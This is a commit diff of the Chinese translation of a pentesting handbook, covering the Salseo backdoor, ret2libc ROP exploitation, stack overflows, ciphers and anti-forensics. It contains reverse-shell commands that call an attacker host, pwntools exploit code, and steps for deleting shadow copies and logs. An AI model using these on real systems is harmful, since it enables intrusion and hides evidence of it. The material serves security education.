Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

This commit is contained in:
Translator 2025-04-07 02:10:57 +00:00
parent e7f11bd73c
commit f214af3349
114 changed files with 3644 additions and 2826 deletions

View File

@ -284,8 +284,10 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@ -299,6 +301,7 @@
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
- [Mythic](windows-hardening/mythic.md)
# 📱 Mobile Pentesting

View File

@ -6,11 +6,11 @@
从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。
为您将要使用的Windows机器的架构编译这些项目如果Windows支持x64则为该架构编译
为您将要使用的Windows盒子的架构编译这些项目如果Windows支持x64则为该架构编译
您可以在Visual Studio的**左侧“Build”选项卡**中的**“Platform Target”**选择架构。
(\*\*如果找不到此选项,请按**“Project Tab”**,然后在**“\<Project Name> Properties”**中)
**如果找不到此选项,请点击**“Project Tab”**,然后点击**“\<Project Name> Properties”**
![](<../images/image (132).png>)
@ -20,7 +20,7 @@
## 准备后门
首先,您需要对**EvilSalsa.dll**进行编码。为此您可以使用python脚本**encrypterassembly.py**,或者您可以编译项目**EncrypterAssembly**
首先,您需要编码**EvilSalsa.dll**。为此您可以使用python脚本**encrypterassembly.py**,或者您可以编译项目**EncrypterAssembly**
### **Python**
```
@ -40,7 +40,7 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
### **获取 TCP 反向 shell通过 HTTP 下载编码的 dll**
记得启动一个 nc 作为反向 shell 监听器,并启动一个 HTTP 服务器来提供编码的 evilsalsa。
记得启动 nc 作为反向 shell 监听器,并启动一个 HTTP 服务器来提供编码的 evilsalsa。
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
@ -50,7 +50,7 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **获取 ICMP 反向 shell受害者内部已编码的 dll**
### **获取 ICMP 反向 shell编码的 dll 已经在受害者内部**
**这次你需要一个特殊的工具在客户端接收反向 shell。下载** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
@ -83,7 +83,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **搜索 DllExport 包(使用浏览选项卡),然后按安装(并接受弹出窗口)**
#### **搜索 DllExport 包(使用浏览选项卡),按安装(并接受弹出窗口)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
@ -101,7 +101,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
然后,转到你的 **SalseoLoader 文件夹** 并 **执行 DllExport_Configure.bat**
选择 **x64**(如果你打算在 x64 盒子中使用它,那是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间中**)并按 **应用**
选择 **x64**(如果你打算在 x64 环境中使用它,那是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间中**)并按 **应用**
![](<../images/image (7) (1) (1) (1) (1).png>)
@ -125,13 +125,13 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
### 测试生成的 Dll
将 Dll 复制并粘贴到你想测试的位置。
复制并粘贴 Dll 到你想测试的位置。
执行:
```
rundll32.exe SalseoLoader.dll,main
```
如果没有错误出现,您可能有一个功能正常的 DLL
如果没有错误出现,您可能有一个功能正常的 DLL
## 使用 DLL 获取 shell

View File

@ -2,12 +2,12 @@
{{#include ../../../../banners/hacktricks-training.md}}
## 快速总结
## 快速概述
1. **找到** 溢出 **偏移**
1. **找到** 溢出 **偏移**
2. **找到** `POP_RDI` gadget, `PUTS_PLT``MAIN` gadgets
3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址****找到 libc 版本** ([donwload it](https://libc.blukat.me))
4. 使用库,**计算 ROP 并利用**
4. 使用库,**计算 ROP 并进行利用**
## 其他教程和二进制文件以供练习
@ -69,9 +69,9 @@ cyclic_find(0x6161616b)
另一种方法是使用: `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
## 2- 找 Gadgets
## 2- 找 Gadgets
现在我们需要在二进制文件中找 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**
现在我们需要在二进制文件中找 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` 是调用 **function puts** 所需的。\
`MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,**exploit** 溢出 **again**(无限利用)。**它在每个 ROP 的末尾用于再次调用程序**。\
**POP_RDI** 是需要 **pass** 一个 **parameter** 给被调用函数。
`MAIN_PLT` 是在一次交互后再次调用 **main function****exploit** 溢出 **again**(无限次利用)的必要条件。**它在每个 ROP 的末尾用于再次调用程序**。\
**POP_RDI** 是 **pass** 一个 **parameter** 给被调用函数所需的
在这一步中,不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。
在这一步中,不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。
## 3- 查找 libc 库
现在是时候找出正在使用哪个版本**libc** 库了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 该地址中 puts 版本所在的 **library version**
现在是时候找出正在使用的 **libc**的版本了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 该地址中 puts 版本所在的 **library version**
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -124,11 +124,11 @@ p.interactive()
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
这将发送一些字节,直到**覆盖****RIP**为止:`OFFSET`。\
然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts****传递**它`PUTS_GOT`的**地址**,因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
之后,将调用`PUTS_PLT`**RDI**中包含`PUTS_GOT`),因此 puts 将**读取**`PUTS_GOT`中的内容(**内存中 puts 函数的地址**)并将其**打印出来**。\
然后,它将设置**gadget** `POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts****传递**它`PUTS_GOT`的**地址**,因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
之后,将调用`PUTS_PLT`**RDI**中包含`PUTS_GOT`),因此 puts 将**读取**`PUTS_GOT`中的内容(**puts 函数在内存中的地址**)并**打印出来**。\
最后,**再次调用主函数**,以便我们可以再次利用溢出。
通过这种方式,我们已经**欺骗了 puts 函数**,使其**打印**出**内存**中函数**puts**的**地址**(该地址位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的 libc 版本**。
通过这种方式,我们已经**欺骗了 puts 函数**,使其**打印**出**内存**中**puts**函数的**地址**(该函数位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的 libc 版本**。
![](<../../../../images/image (1049).png>)
@ -151,10 +151,10 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
- `$ ./get`
这将需要一些时间,请耐心等待。\
为了使其正常工作,我们需要:
为了使其工作,我们需要:
- Libc 符号名称:`puts`
- 泄的 libc 地址:`0x7ff629878690`
- 泄的 libc 地址:`0x7ff629878690`
我们可以找出最有可能使用的**libc**。
```bash
@ -162,7 +162,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
我们得到了两个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个:
我们得到了 2 个匹配(如果第一个不工作,您应该尝试第二个)。下载第一个:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@ -171,7 +171,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 复制到我们的工作目录。
### 3.3- 其他泄漏函数
```python
@ -185,9 +185,9 @@ gets
在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将只使用:`/lib/x86_64-linux-gnu/libc.so.6`
因此,在 `template.py` 的开头将 **libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道时`
因此,在 `template.py` 的开头**libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道时`
提供 **libc 库****路径** 后,**利用** 的其余部分将会被自动计算
**libc 库** 提供 **路径** 后,**其余的利用将会自动计算**
`get_addr` 函数内部,**libc 的基地址** 将被计算:
```python
@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> 请注意,**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。
然后,函数 `system` 的地址和字符串 _"/bin/sh"_**地址**将从 **libc** 的 **基地址** 计算得出,并给出 **libc 库。**
然后,函数 `system` 的地址和字符串 _"/bin/sh"_**地址** 将从 **libc** 的 **基地址** 计算得出,并给出 **libc 库。**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -217,18 +217,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
让我们解释一下这个最终的 ROP。\
让我们解释这个最终的 ROP。\
最后的 ROP (`rop1`) 再次调用了主函数,然后我们可以 **再次利用** 这个 **溢出**(这就是 `OFFSET` 再次出现的原因)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_**地址** (`BINSH`),并调用 **system** 函数 (`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\
最后,**退出函数的地址** 被 **调用**,这样进程 **正常退出**,不会生成任何警报。
**这样,利用将执行一个 \_/bin/sh**\_\*\* shell.\*\*
**这样,利用将执行一个 _/bin/sh_ shell。**
![](<../../../../images/image (165).png>)
## 4(2)- 使用 ONE_GADGET
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell而不是使用 **system****"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取一个 shell。\
然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送一些更多的 NULL 值以避免这个限制。
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell而不是使用 **system****"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取 shell。\
然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送更多的 NULL 值以避免这个限制。
![](<../../../../images/image (754).png>)
```python
@ -265,7 +265,7 @@ MAIN_PLT = 0x401080
如果在创建**所有**漏洞利用后发现此**错误**`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
尝试**从"/bin/sh"的地址中减去64字节**
尝试**从“/bin/sh”的地址中减去64字节**
```python
BINSH = next(libc.search("/bin/sh")) - 64
```

View File

@ -4,15 +4,15 @@
## What is a Stack Overflow
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数对输入没有进行边界检查。
这个覆盖的主要问题在于**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些指针并**控制程序的执行流**。
这个覆盖的主要问题在于**保存的指令指针EIP/RIP**和**保存的基指针EBP/RBP**用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。
该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像**`fgets`**、**`read` & `memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像**`fgets`**、**`read`**和**`memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
例如,以下函数可能是易受攻击的:
例如,以下函数可能是脆弱的:
```c
void vulnerable() {
char buffer[128];
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
```
### 寻找栈溢出偏移量
寻找栈溢出的最常见方法是输入大量的 `A`(例如 `python3 -c 'print("A"*1000)'`并期待出现 `Segmentation Fault`,这表明 **尝试访问了地址 `0x41414141`**
寻找栈溢出的最常见方法是输入大量的 `A`(例如 `python3 -c 'print("A"*1000)')并期待出现 `Segmentation Fault`,这表明 **地址 `0x41414141` 被尝试访问**。
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,以便能够 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 \_n**\_\*\* 的子序列恰好出现一次\*\* 作为连续子序列。
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,直到可**覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次** 作为连续子序列。
这样,您就不需要手动找出控制 EIP 所需的偏移量,而是可以使用这些序列中的一个作为填充,然后找到覆盖它的字节的偏移量。
这样,您就不需要手动找出控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
可以使用 **pwntools** 来实现这一点:
```python
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
### Ret2win
在这种类型的 CTF 挑战中,二进制文件中有一个**函数****从未被调用**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
在这种类型的 CTF 挑战中,二进制文件中有一个**从未被调用的函数**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
{{#ref}}
ret2win/
@ -65,7 +65,7 @@ ret2win/
### 栈 Shellcode
在这种情况下,攻击者可以在栈中放置一个 shellcode并利用控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
在这种情况下,攻击者可以在栈中放置一个 shellcode并利用控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
{{#ref}}
stack-shellcode/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... 技术
该技术是绕过前一种技术主要保护的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术ret2libret2syscall...),通过滥用二进制中的现有指令最终执行任意命令:
该技术是绕过前一种技术主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术ret2lib、ret2syscall...),通过滥用二进制中的现有指令来执行任意命令:
{{#ref}}
../rop-return-oriented-programing/

View File

@ -45,7 +45,7 @@
### 基础编码自动解码器
使用以下链接检查所有这些基础[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
使用:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) 检查所有这些基础
- **Ascii85**
- `BQ%]q@psCd@rH0l`
@ -114,13 +114,13 @@
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链接: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### 摩尔斯
```
@ -188,22 +188,22 @@ drnajapajrna
```
krodfdudfrod
```
### SMS 代码
### SMS Code
**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写 SMS 时使用)。\
例如2=A, 22=B, 222=C, 3=D...\
你可以通过看到\*\* 多个数字重复\*\* 来识别这个代码。
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (此模式用于编写短信)。\
例如2=A22=B222=C3=D...\
您可以通过看到**多个数字重复**来识别此代码。
你可以在这里解码这个代码: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
您可以在以下网址解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### 培根代码
### Bacon Code
用 4 个 A 或 B或 1 和 0替代每个字母
将每个字母替换为4个A或B或1和0
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### 符文
### Runes
![](../images/runes.jpg)
@ -249,7 +249,7 @@ Key:
### Samir 秘密共享
一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_).
一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_)
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89

View File

@ -114,7 +114,7 @@
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
@ -180,28 +180,28 @@ drnajapajrna
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### 仿射密码编码
### Affine Cipher Encode
字母到数字 `(ax+b)%26` (_a_ 和 _b_ 是密钥_x_ 是字母) 并将结果转换回字母
```
krodfdudfrod
```
### 短信代码
### SMS Code
**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写短信时使用)。\
例如2=A, 22=B, 222=C, 3=D...\
你可以识别这个代码,因为你会看到\*\*几个数字重复\*\*
例如2=A22=B222=C3=D...\
您可以通过看到**多个数字重复**来识别此代码
可以在以下网址解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
可以在以下网址解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### 培根代码
### Bacon Code
将每个字母替换为4个A或B或1和0
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### 符文
### Runes
![](../images/runes.jpg)
@ -211,7 +211,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
## 简易加密
### XOR - 自动解
### XOR - 自动解
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
@ -245,7 +245,7 @@ Key:
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir 秘密共享
### Samir Secret Sharing
一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_)。
```

View File

@ -2,8 +2,8 @@
# 时间戳
攻击者可能会对**更改文件的时间戳**感兴趣,以避免被检测。\
可以在MFT中的属性`$STANDARD_INFORMATION``$FILE_NAME`中找到时间戳。
攻击者可能会对**文件的时间戳进行更改**以避免被检测。\
可以在MFT中的属性`$STANDARD_INFORMATION`****`$FILE_NAME`中找到时间戳。
这两个属性都有4个时间戳**修改**、**访问**、**创建**和**MFT注册修改**MACE或MACB
@ -11,23 +11,23 @@
## TimeStomp - 反取证工具
该工具**修改**`$STANDARD_INFORMATION`中的时间戳信息**但**不修改`$FILE_NAME`中的信息。因此,可以**识别****可疑****活动**。
该工具**修改**`$STANDARD_INFORMATION`中的时间戳信息**但**不修改**`$FILE_NAME`中的信息。因此,可以**识别****可疑****活动**。
## Usnjrnl
**USN日志**更新序列号日志是NTFSWindows NT文件系统的一个特性用于跟踪卷更改。 [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
**USN日志**更新序列号日志是NTFSWindows NT文件系统的一个特性用于跟踪卷更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
![](<../../images/image (449).png>)
上图是**工具**显示的**输出**,可以观察到对文件进行了一些**更改**。
上图是**工具**显示的**输出**,可以观察到对文件进行了**某些更改**。
## $LogFile
**对文件系统的所有元数据更改都被记录**在一个称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)的过程中。记录的元数据保存在名为`**$LogFile**`的文件中该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。
**对文件系统的所有元数据更改都会被记录**,这一过程称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。
![](<../../images/image (450).png>)
同样,在工具的输出中可以看到**进行了一些更改**。
同样,在工具的输出中可以看到**某些更改已被执行**。
使用同一工具可以识别**时间戳被修改到哪个时间**
@ -36,7 +36,7 @@
- CTIME: 文件创建时间
- ATIME: 文件修改时间
- MTIME: 文件的MFT注册修改
- RTIME: 文件访问时间
- RTIME: 文件访问时间
## `$STANDARD_INFORMATION``$FILE_NAME`比较
@ -52,9 +52,9 @@
# 数据隐藏
NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群**剩下的半个集群将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。
NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群**剩余的一半将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。
有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而`$logfile``$usnjrnl`的分析可以显示一些数据被添加:
有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而`$logfile``$usnjrnl`的分析可以显示某些数据已被添加:
![](<../../images/image (452).png>)
@ -67,7 +67,7 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
# 实时Linux发行版
这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写权限挂载的情况下**。如果仅以读权限挂载,则无法检测到入侵。
这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写权限挂载的情况下**。如果仅以读权限挂载,则无法检测到入侵。
# 安全删除
@ -75,7 +75,7 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
# Windows配置
可以禁用多Windows日志记录方法以使取证调查变得更加困难。
可以禁用多Windows日志记录方法以使取证调查变得更加困难。
## 禁用时间戳 - UserAssist
@ -107,7 +107,7 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
## 删除USB历史
所有**USB设备条目**都存储在Windows注册表下的**USBSTOR**注册表项中该项包含在您将USB设备插入PC或笔记本电脑时创建的子项。您可以在这里找到此项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\
所有**USB设备条目**都存储在Windows注册表下的**USBSTOR**注册表项中该项包含在您将USB设备插入PC或笔记本电脑时创建的子键。您可以在这里找到此键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保您已删除它们(并删除它们)。
另一个保存USB信息的文件是`C:\Windows\INF`中的`setupapi.dev.log`。这也应该被删除。
@ -117,12 +117,12 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
**列出**影子副本使用`vssadmin list shadowstorage`\
**删除**它们运行`vssadmin delete shadow`
您还可以通过GUI删除它们按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作
您还可以通过GUI删除它们按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤。
要禁用影子副本,请参见[此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)
1. 通过在击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。
2. 从列表中找到“卷影副本”,选择它,然后右键单击访问属性。
1. 通过在击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。
2. 从列表中找到“卷影复制”,选择它,然后右键单击访问属性。
3. 从“启动类型”下拉菜单中选择禁用,然后通过单击应用和确定确认更改。
还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改将要在影子副本中复制的文件的配置。

View File

@ -1,12 +1,12 @@
# 数据外泄
# Exfiltration
{{#include ../banners/hacktricks-training.md}}
## 常见的白名单域名以外泄信息
## 常见的白名单域名以提取信息
查看 [https://lots-project.com/](https://lots-project.com/) 以查找可以被滥用的常见白名单域名
